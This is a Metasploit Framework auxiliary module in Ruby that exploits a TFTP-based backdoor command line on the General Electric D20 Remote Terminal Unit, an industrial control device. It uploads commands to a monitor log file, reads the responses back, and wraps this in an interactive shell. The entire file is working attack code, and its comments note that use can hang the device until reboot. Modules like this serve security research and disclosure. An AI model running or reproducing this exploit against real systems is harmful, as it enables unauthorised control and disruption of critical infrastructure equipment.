
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# This module implements a CLI backdoor present in the General Electric D20 Remote Terminal
# Unit (RTU).  This backdoor may be present in other General Electric Canada control systems.
# Use with care.  Interactive commands may cause the TFTP server to hang indefinitely, blocking
# the backdoor until the system is rebooted.
##

require 'msf/core'
require 'rex/ui/text/shell'
require 'rex/proto/tftp'


class MetasploitModule < Msf::Auxiliary
	include Rex::Ui::Text
	include Rex::Proto::TFTP
	include Msf::Exploit::Remote::Udp
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'General Electric D20 Backdoor (Async TFTP Command Line)',
			'Description'    => %q{
				The General Electric D20ME and possibly other units (D200?) feature
				a backdoor command line.  Commands are issued to MONITOR:command.log,
				and responses are read from MONITOR:response.log.
			},
			'Author'         => [ 'K. Reid Wightman <wightman@digitalbond.com>' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'DisclosureDate' => 'Jan 19 2012',
			))

		register_options(
			[
				Opt::RPORT(69),
				Opt::RHOST('192.168.255.1'),
				OptString.new('REMOTE_CMD_FILE', [true, "The remote filename used to issue commands", "MONITOR:command.log"]),
				OptString.new('REMOTE_RESP_FILE', [true, "The remote filename used to gather response", "MONITOR:response.log"])
			], self.class)
	end

	def setup
		@rhost = datastore['RHOST']
		@rport = datastore['RPORT'] || 69
		@lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
		@lhost = datastore['LHOST'] || "0.0.0.0"
		@rcmdpath = datastore['REMOTE_CMD_FILE']
		@rresppath = datastore['REMOTE_RESP_FILE']
	end

	def rtarget(ip=nil)
		if (ip or rhost) and rport
			[(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
		elsif (ip or rhost)
			"#{rhost} "
		else
			""
		end
	end

	def cleanup
		if @tftp_client and @tftp_client.respond_to? :complete
			while not @tftp_client.complete
				select(nil, nil, nil, 1)
				vprint_status "Cleaning up the TFTP client ports and threads."
				@tftp_client.stop
			end
		end
	end

	def interactive
		stop = false
		print_status("Entering interactive mode")
		print_status("Type 'help' for remote help")
		print_status("Type 'quit' to quit")
		until stop == true
			print ("D20MEA> ")
			tmp = gets.chomp.to_s
			if "quit" == tmp or "exit" == tmp
				stop = true
				next
			elsif tmp == ""
				next
			else
				cmddata = "DATA:" + tmp
				cmddata += [13,10,00].pack("c*")
				@tftp_client = Rex::Proto::TFTP::Client.new(
					"LocalHost" => @lhost,
					"LocalPort" => @lport,
					"PeerHost" => @rhost,
					"PeerPort" => @rport,
					"LocalFile" => cmddata,
					"RemoteFile" => @rcmdpath,
					"Action" => :upload
				)
				@tftp_client.send_write_request { |msg| print_tftp_status(msg) }
				@tftp_client.threads do |thread|
					thread.join
				end
				while not @tftp_client.complete
					select(nil, nil, nil, 0.1)
				end # wait until transfer finishes
				# wait a second for the response file to be generated
				# this is a 25Mhz 68030 we're working with, here.
				# might need to wait longer for some commands to complete...
				sleep(1)
				@tftp_client = Rex::Proto::TFTP::Client.new(
					"LocalHost" => @lhost,
					"LocalPort" => @lport,
					"PeerHost" => @rhost,
					"PeerPort" => @rport,
					"LocalFile" => @lresppath,
					"RemoteFile" => @rresppath,
					"Action" => :download
				)
				@tftp_client.send_read_request { |msg| print_tftp_status(msg) }
				while not @tftp_client.complete
					select(nil, nil, nil, 0.1)
				end
				fh = @tftp_client.recv_tempfile
				data = File.open(fh,"rb") {|f| f.read f.stat.size} rescue nil
				if data
					# we need to clean the data a little so it prints nicely
					# the d20 always sends a few control characters to clear
					# the screen with the output.  Chop those off.
					if data.size > 26
						data = data[0,data.size - 26]
					end
					# we can also chop off the header information, users
					# don't need to see the welcome message with every command
					if data.size > 77
						data = data[77, data.size]
					end
					print data
				else
					# I should probably re-try the download, after a few
					# seconds delay.  Might be able to catch this in the
					# request response somehow, but things work well enough
					# for now
				end
				#client = Client.new(datastore['RHOST'], datastore['RPORT'])
				#client.send_binary('/tmp/m68kcmd', 'MONITOR:command.log')
			end
		end
	end

	def print_tftp_status(msg)
		case msg
		when /Aborting/, /errors.$/
			print_error [rtarget,msg].join
		when /^WRQ accepted/, /^Sending/, /complete!$/
			print_good [rtarget,msg].join
		else
			vprint_status [rtarget,msg].join
		end
	end

	def run
		self.interactive()
	end

end
